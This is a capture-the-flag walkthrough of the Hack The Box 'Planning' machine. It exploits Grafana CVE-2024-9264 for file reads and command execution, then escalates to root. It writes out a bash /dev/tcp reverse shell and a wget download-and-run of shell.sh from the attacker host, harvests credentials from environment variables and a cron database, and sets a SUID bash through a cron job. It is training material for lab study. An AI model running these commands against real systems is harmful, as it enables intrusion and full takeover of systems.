Planning [Easy]
Planning HTB Release Area Machine
Machine information
As is common in real life pentests, you will start the Planning box with credentials for the following account: admin
/ 0D5oT70Fq13EvB5r
.
Author: d00msl4y3r and FisMatHack
Enumeration
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ sudo nmap -Pn -sC -sV 10.129.237.241
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-18 10:12 EDT
Nmap scan report for 10.129.237.241 (10.129.237.241)
Host is up (1.1s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_ 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.65 seconds
Add these to /etc/hosts
file:
1
10.129.237.241 planning.htb
Let’s check the web server.
Web Enumeration
So it was EDUKATE website, lol it supposed to be EDUCATE one (nah just joking :>). What we see is that there is a search bar but seems like it not implemented yet.
Keep scrolling down to discover more.
There are some courses on /course.php
endpoint.
→ Let’s check Course Detail.
We are in /detail.php
endpoint. Let’s click on Enroll Now button.
So we need to fill the form.
After we filled the form and Submit, there just a pop up Successful registration message.
So we can not explode any further from this page.
→ Let’s fuzzing for subdomains if there is any.
Subdomain Fuzzing
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ gobuster vhost -u http://planning.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/combined_subdomains.txt --append-domain -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://planning.htb/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/combined_subdomains.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: grafana.planning.htb Status: 302 [Size: 29] [--> /login]
Progress: 235595 / 653921 (36.03%)
Waiting for a while and we got grafana.planning.htb
subdomain.
→ Add it to /etc/hosts
file.
1
10.129.237.241 planning.htb grafana.planning.htb
Let’s check the grafana.planning.htb
website.
We are in the login page. Remember that we have admin
/ 0D5oT70Fq13EvB5r
credentials from the machine information.
→ Login with these credentials.
First thing gonna check is the version of Grafana.
It’s v11.0.0
and then searching for vulnerabilities cve.
→ Found out GHSA-q99m-qcv4-fpm7 advisory about Grafana Command Injection And Local File Inclusion Via Sql Expressions which leads to CVE-2024-9264.
CVE-2024-9264
Searching for exploit POC and found out CVE-2024-9264 repository.
→ Let’s exploit it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─$ python3 CVE-2024-9264.py -u admin -p '0D5oT70Fq13EvB5r' -f /etc/passwd http://grafana.planning.htb/
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Reading file: /etc/passwd
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/etc/passwd'):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
grafana:x:472:0::/home/grafana:/usr/sbin/nologin
This one confirmed that the script is working.
→ Gonna check out the current user and content.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─$ python3 CVE-2024-9264.py -u admin -p '0D5oT70Fq13EvB5r' -c 'whoami' http://grafana.planning.htb/
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: whoami
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('whoami >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
root
└─$ python3 CVE-2024-9264.py -u admin -p '0D5oT70Fq13EvB5r' -c 'ls -la' http://grafana.planning.htb/
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: ls -la
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('ls -la >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
total 64
drwxr-xr-x 1 root root 4096 Mar 1 18:01 .
drwxr-xr-x 1 root root 4096 May 14 2024 ..
drwxrwxrwx 2 grafana root 4096 May 14 2024 .aws
drwxr-xr-x 3 root root 4096 Mar 1 18:01 .duckdb
-rw-r--r-- 1 root root 34523 May 14 2024 LICENSE
drwxr-xr-x 2 root root 4096 May 14 2024 bin
drwxr-xr-x 3 root root 4096 May 14 2024 conf
drwxr-xr-x 16 root root 4096 May 14 2024 public
So doing this we have to change the command so we need to reverse shell to make it easier for discovery.
We gonna set up a reverse shell listener via Penelope tool.
1
2
3
└─$ penelope -p 3333
[+] Listening for reverse shells on 0.0.0.0:3333 → 127.0.0.1 • 172.xx.xx.xx • 172.xx.xx.xx • 10.10.16.36
- 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
Then we gonna use this command bash -i >& /dev/tcp/10.10.16.36/3333 0>&1
for our reverse shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─$ python3 CVE-2024-9264.py -u admin -p '0D5oT70Fq13EvB5r' -c 'bash -i >& /dev/tcp/10.10.16.36/3333 0>&1' http://grafana.planning.htb/
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: bash -i >& /dev/tcp/10.10.16.36/3333 0>&1
[-] Unexpected response format:
[-] {
"results": {
"B": {
"error": "exit status 1sh: 1: Syntax error: Bad fd number\nIO Error: Pipe process exited with non-zero exit code=\"2\": bash -i >& /dev/tcp/10.10.16.36/3333 0>&1 >/tmp/grafana_cmd_output 2>&1 |\n",
"errorSource": "",
"status": 500,
"frames": []
}
}
}
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
total 64
drwxr-xr-x 1 root root 4096 Mar 1 18:01 .
drwxr-xr-x 1 root root 4096 May 14 2024 ..
drwxrwxrwx 2 grafana root 4096 May 14 2024 .aws
drwxr-xr-x 3 root root 4096 Mar 1 18:01 .duckdb
-rw-r--r-- 1 root root 34523 May 14 2024 LICENSE
drwxr-xr-x 2 root root 4096 May 14 2024 bin
drwxr-xr-x 3 root root 4096 May 14 2024 conf
drwxr-xr-x 16 root root 4096 May 14 2024 public
So we got some error and trying out with python
even failed.
→ We will try this approach that we will create a shell.sh
file and then use wget
to download and execute it.
But we need to make sure that the /usr/bin/wget
is available in the system.
1
2
3
4
5
6
7
8
└─$ python3 CVE-2024-9264.py -u admin -p '0D5oT70Fq13EvB5r' -c 'which wget' http://grafana.planning.htb/
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: which wget
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('which wget >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
/usr/bin/wget
Confirmed that it is available. Let’s create a shell.sh
file.
1
2
3
└─$ cat shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.36/3333 0>&1
1
2
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Host the shell.sh
file on the our kali machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ python3 CVE-2024-9264.py -u admin -p '0D5oT70Fq13EvB5r' -c 'wget http://10.10.16.36/shell.sh' http://grafana.planning.htb/
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: wget http://10.10.16.36/shell.sh
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('wget http://10.10.16.36/shell.sh >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
--2025-08-18 15:21:23-- http://10.10.16.36/shell.sh
Connecting to 10.10.16.36:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 54 [text/x-sh]
Saving to: 'shell.sh'
0K 100% 1.40K=0.04s
2025-08-18 15:21:24 (1.40 KB/s) - 'shell.sh' saved [54/54]
1
2
3
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.237.241 - - [18/Aug/2025 11:21:23] "GET /shell.sh HTTP/1.1" 200 -
We successfully download the file.
1
2
3
4
5
6
7
8
9
10
11
12
└─$ python3 CVE-2024-9264.py -u admin -p '0D5oT70Fq13EvB5r' -c 'ls' http://grafana.planning.htb/
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: ls
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('ls >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
LICENSE
bin
conf
public
shell.sh
Now let’s execute it.
1
2
3
└─$ python3 CVE-2024-9264.py -u admin -p '0D5oT70Fq13EvB5r' -c 'bash shell.sh' http://grafana.planning.htb/
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: bash shell.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─$ penelope -p 3333
[+] Listening for reverse shells on 0.0.0.0:3333 → 127.0.0.1 • 172.xx.xx.xx • 172.xx.xx.xx • 10.10.16.36
- 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from 7ce659d667d7~10.129.237.241-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[!] Python agent cannot be deployed. I need to maintain at least one basic session to handle the PTY
[+] Attempting to spawn a reverse shell on 10.10.16.36:3333
[+] Got reverse shell from 7ce659d667d7~10.129.237.241-Linux-x86_64 😍 Assigned SessionID <2>
[+] Shell upgraded successfully using /usr/bin/script! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/kali/.penelope/7ce659d667d7~10.129.237.241-Linux-x86_64/2025_08_18-11_22_01-499.log 📜
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
root@7ce659d667d7:~# ls -la
total 76
drwxr-xr-x 1 root root 4096 Aug 18 15:22 .
drwxr-xr-x 1 root root 4096 May 14 2024 ..
drwxrwxrwx 2 grafana root 4096 May 14 2024 .aws
-rw------- 1 root root 1366 Aug 18 15:22 .bash_history
drwxr-xr-x 3 root root 4096 Mar 1 18:01 .duckdb
-rw-r--r-- 1 root root 34523 May 14 2024 LICENSE
drwxr-xr-x 2 root root 4096 May 14 2024 bin
drwxr-xr-x 3 root root 4096 May 14 2024 conf
drwxr-xr-x 16 root root 4096 May 14 2024 public
-rw-r--r-- 1 root root 54 Aug 18 15:20 shell.sh
root@7ce659d667d7:~#
Got our reverse shell.
Note: To use this CVE-2024-9264, better create an environment
venv-cve
and install therequirements.txt
in order not to get conflicts with our dependencies.
Initial Access
From this point, we leverage the credentials provided to got into the machine.
Discovering
After go around, we found out this interesting file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@7ce659d667d7:/# ls -la
total 64
drwxr-xr-x 1 root root 4096 Apr 4 10:23 .
drwxr-xr-x 1 root root 4096 Apr 4 10:23 ..
-rwxr-xr-x 1 root root 0 Apr 4 10:23 .dockerenv
lrwxrwxrwx 1 root root 7 Apr 27 2024 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Apr 18 2022 boot
drwxr-xr-x 5 root root 340 Aug 18 13:49 dev
drwxr-xr-x 1 root root 4096 Apr 4 10:23 etc
drwxr-xr-x 1 root root 4096 May 14 2024 home
lrwxrwxrwx 1 root root 7 Apr 27 2024 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Apr 27 2024 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Apr 27 2024 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Apr 27 2024 libx32 -> usr/libx32
drwxr-xr-x 2 root root 4096 Apr 27 2024 media
drwxr-xr-x 2 root root 4096 Apr 27 2024 mnt
drwxr-xr-x 2 root root 4096 Apr 27 2024 opt
dr-xr-xr-x 291 root root 0 Aug 18 13:49 proc
drwx------ 1 root root 4096 Apr 4 12:43 root
drwxr-xr-x 5 root root 4096 Apr 27 2024 run
-rwxr-xr-x 1 root root 3306 May 14 2024 run.sh <- Intresting file
lrwxrwxrwx 1 root root 8 Apr 27 2024 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Apr 27 2024 srv
dr-xr-xr-x 13 root root 0 Aug 18 13:49 sys
drwxrwxrwt 1 root root 4096 Aug 18 15:16 tmp
drwxr-xr-x 1 root root 4096 Apr 27 2024 usr
drwxr-xr-x 1 root root 4096 Apr 27 2024 var
We gonna check it out.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
root@7ce659d667d7:/# cat run.sh
#!/bin/bash -e
PERMISSIONS_OK=0
if [ ! -r "$GF_PATHS_CONFIG" ]; then
echo "GF_PATHS_CONFIG='$GF_PATHS_CONFIG' is not readable."
PERMISSIONS_OK=1
fi
if [ ! -w "$GF_PATHS_DATA" ]; then
echo "GF_PATHS_DATA='$GF_PATHS_DATA' is not writable."
PERMISSIONS_OK=1
fi
if [ ! -r "$GF_PATHS_HOME" ]; then
echo "GF_PATHS_HOME='$GF_PATHS_HOME' is not readable."
PERMISSIONS_OK=1
fi
if [ $PERMISSIONS_OK -eq 1 ]; then
echo "You may have issues with file permissions, more information here: http://docs.grafana.org/installation/docker/#migrate-to-v51-or-later"
fi
if [ ! -d "$GF_PATHS_PLUGINS" ]; then
mkdir "$GF_PATHS_PLUGINS"
fi
if [ ! -z ${GF_AWS_PROFILES+x} ]; then
> "$GF_PATHS_HOME/.aws/credentials"
for profile in ${GF_AWS_PROFILES}; do
access_key_varname="GF_AWS_${profile}_ACCESS_KEY_ID"
secret_key_varname="GF_AWS_${profile}_SECRET_ACCESS_KEY"
region_varname="GF_AWS_${profile}_REGION"
if [ ! -z "${!access_key_varname}" -a ! -z "${!secret_key_varname}" ]; then
echo "[${profile}]" >> "$GF_PATHS_HOME/.aws/credentials"
echo "aws_access_key_id = ${!access_key_varname}" >> "$GF_PATHS_HOME/.aws/credentials"
echo "aws_secret_access_key = ${!secret_key_varname}" >> "$GF_PATHS_HOME/.aws/credentials"
if [ ! -z "${!region_varname}" ]; then
echo "region = ${!region_varname}" >> "$GF_PATHS_HOME/.aws/credentials"
fi
fi
done
chmod 600 "$GF_PATHS_HOME/.aws/credentials"
fi
# Convert all environment variables with names ending in __FILE into the content of
# the file that they point at and use the name without the trailing __FILE.
# This can be used to carry in Docker secrets.
for VAR_NAME in $(env | grep '^GF_[^=]\+__FILE=.\+' | sed -r "s/([^=]*)__FILE=.*/\1/g"); do
VAR_NAME_FILE="$VAR_NAME"__FILE
if [ "${!VAR_NAME}" ]; then
echo >&2 "ERROR: Both $VAR_NAME and $VAR_NAME_FILE are set (but are exclusive)"
exit 1
fi
echo "Getting secret $VAR_NAME from ${!VAR_NAME_FILE}"
export "$VAR_NAME"="$(< "${!VAR_NAME_FILE}")"
unset "$VAR_NAME_FILE"
done
export HOME="$GF_PATHS_HOME"
if [ ! -z "${GF_INSTALL_PLUGINS}" ]; then
OLDIFS=$IFS
IFS=','
for plugin in ${GF_INSTALL_PLUGINS}; do
IFS=$OLDIFS
if [[ $plugin =~ .*\;.* ]]; then
pluginUrl=$(echo "$plugin" | cut -d';' -f 1)
pluginInstallFolder=$(echo "$plugin" | cut -d';' -f 2)
grafana cli --pluginUrl ${pluginUrl} --pluginsDir "${GF_PATHS_PLUGINS}" plugins install "${pluginInstallFolder}"
else
grafana cli --pluginsDir "${GF_PATHS_PLUGINS}" plugins install ${plugin}
fi
done
fi
exec grafana server \
--homepath="$GF_PATHS_HOME" \
--config="$GF_PATHS_CONFIG" \
--packaging=docker \
"$@" \
cfg:default.log.mode="console" \
cfg:default.paths.data="$GF_PATHS_DATA" \
cfg:default.paths.logs="$GF_PATHS_LOGS" \
cfg:default.paths.plugins="$GF_PATHS_PLUGINS" \
cfg:default.paths.provisioning="$GF_PATHS_PROVISIONING"
We can see that it’s a bash script that is used to run the Grafana server. The things is that it contains some interesting variables which could potentially leak some information.
1
2
3
4
5
6
7
8
9
root@7ce659d667d7:/# env | grep "^GF_"
GF_PATHS_HOME=/usr/share/grafana
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_LOGS=/var/log/grafana
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
Got more credentials enzo:RioTecRANDEntANT!
.
→ Let’s ssh
into enzo
user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ ssh enzo@10.129.237.241
enzo@10.129.237.241's password:
enzo@planning:~$ ls -la
total 32
drwxr-x--- 4 enzo enzo 4096 Apr 3 13:49 .
drwxr-xr-x 3 root root 4096 Feb 28 16:22 ..
lrwxrwxrwx 1 root root 9 Feb 28 20:42 .bash_history -> /dev/null
-rw-r--r-- 1 enzo enzo 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 enzo enzo 3771 Mar 31 2024 .bashrc
drwx------ 2 enzo enzo 4096 Apr 3 13:49 .cache
-rw-r--r-- 1 enzo enzo 807 Mar 31 2024 .profile
drwx------ 2 enzo enzo 4096 Feb 28 16:22 .ssh
-rw-r----- 1 root enzo 33 Aug 18 13:49 user.txt
enzo@planning:~$ cat user.txt
6ae53fd6e69c98e2f7192c78909e3350
Grab that user.txt
flag.
Enzo discover
Now we are in enzo
user. Let’s recon this user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
enzo@planning:~$ netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:36431 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.54:53 0.0.0.0:* -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
Found out there is another port 8000
and also 3306
is running.
After going through, we found out crontab.db
.
1
2
3
enzo@planning:/opt/crontabs$ strings crontab.db
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}
Found out other credentials P4ssw0rdS0pRi0T3c
.
Now let’s port forwarding 8000
.
1
2
3
└─$ ssh -L 8000:127.0.0.1:8000 enzo@planning.htb
enzo@planning.htb's password:
enzo@planning:~$
Enter the credentials root:P4ssw0rdS0pRi0T3c
.
We are in and seeing the Cronjob page.
From this point, we thinking approach that we will create new job and leverage /bin/bash
and set SUID bit to it so we can escalate to root
user.
Privilege Escalation
Let’s root.
Cronjob & SUID Bash
We will click on New button to create new job. Then we will add cp /bin/bash /tmp/bash && chmod u+s /tmp/bash
to the command.
Click the Set button to set the schedule to * * * * *
.
→ Then click the Save button.
We will see that our job is created.
→ Click the Run Now button.
Then checking our /tmp/bash
file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
enzo@planning:/tmp$ ls -la
total 1472
drwxrwxrwt 14 root root 4096 Aug 18 16:01 .
drwxr-xr-x 22 root root 4096 Apr 3 14:40 ..
-rwsr-xr-x 1 root root 1446024 Aug 18 16:01 bash
-rw-r--r-- 1 root root 0 Aug 18 16:01 EDUmC71YQOtzUMed.stderr
-rw-r--r-- 1 root root 0 Aug 18 16:01 EDUmC71YQOtzUMed.stdout
drwxrwxrwt 2 root root 4096 Aug 18 13:48 .font-unix
drwxrwxrwt 2 root root 4096 Aug 18 13:48 .ICE-unix
drwx------ 3 root root 4096 Aug 18 14:18 systemd-private-c2da187b5da84a92a1c1f7cda9dc0cd8-fwupd.service-d4n06q
drwx------ 3 root root 4096 Aug 18 13:48 systemd-private-c2da187b5da84a92a1c1f7cda9dc0cd8-ModemManager.service-BAcFBI
drwx------ 3 root root 4096 Aug 18 13:48 systemd-private-c2da187b5da84a92a1c1f7cda9dc0cd8-polkit.service-ABmT9p
drwx------ 3 root root 4096 Aug 18 13:48 systemd-private-c2da187b5da84a92a1c1f7cda9dc0cd8-systemd-logind.service-8o8GKi
drwx------ 3 root root 4096 Aug 18 13:48 systemd-private-c2da187b5da84a92a1c1f7cda9dc0cd8-systemd-resolved.service-4ufG0y
drwx------ 3 root root 4096 Aug 18 13:48 systemd-private-c2da187b5da84a92a1c1f7cda9dc0cd8-systemd-timesyncd.service-Q4VFnC
drwx------ 3 root root 4096 Aug 18 14:18 systemd-private-c2da187b5da84a92a1c1f7cda9dc0cd8-upower.service-kv6vPm
drwx------ 2 root root 4096 Aug 18 13:49 vmware-root_736-2991268455
drwxrwxrwt 2 root root 4096 Aug 18 13:48 .X11-unix
drwxrwxrwt 2 root root 4096 Aug 18 13:48 .XIM-unix
-rw-r--r-- 1 root root 0 Aug 18 16:02 YvZsUUfEXayH6lLj.stderr
-rw-r--r-- 1 root root 0 Aug 18 16:02 YvZsUUfEXayH6lLj.stdout
We can see that we have bash
file with SUID bit.
→ Let’s execute it.
1
2
3
enzo@planning:/tmp$ /tmp/bash -p
bash-5.2# id
uid=1000(enzo) gid=1000(enzo) euid=0(root) groups=1000(enzo)
Now we are root
user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
bash-5.2# cd /root
bash-5.2# ls -la
total 44
drwx------ 7 root root 4096 Aug 18 13:49 .
drwxr-xr-x 22 root root 4096 Apr 3 14:40 ..
lrwxrwxrwx 1 root root 9 Feb 28 20:41 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 22 2024 .bashrc
drwx------ 2 root root 4096 Apr 1 11:08 .cache
-rw------- 1 root root 20 Apr 3 15:18 .lesshst
drwxr-xr-x 3 root root 4096 Jul 3 11:08 .local
drwxr-xr-x 4 root root 4096 Feb 28 19:01 .npm
-rw-r--r-- 1 root root 161 Apr 22 2024 .profile
-rw-r----- 1 root root 33 Aug 18 13:49 root.txt
drwxr-xr-x 2 root root 4096 Apr 3 12:54 scripts
drwx------ 2 root root 4096 Feb 28 16:22 .ssh
bash-5.2# cat root.txt
349832e741e351d7b08334050d294b2b
Nailed the root.txt
flag.
Incase you add
chmod u+s /bin/bash
and run, it will work but after a few seconds, it will be removed so doing it in/tmp
is a better approach.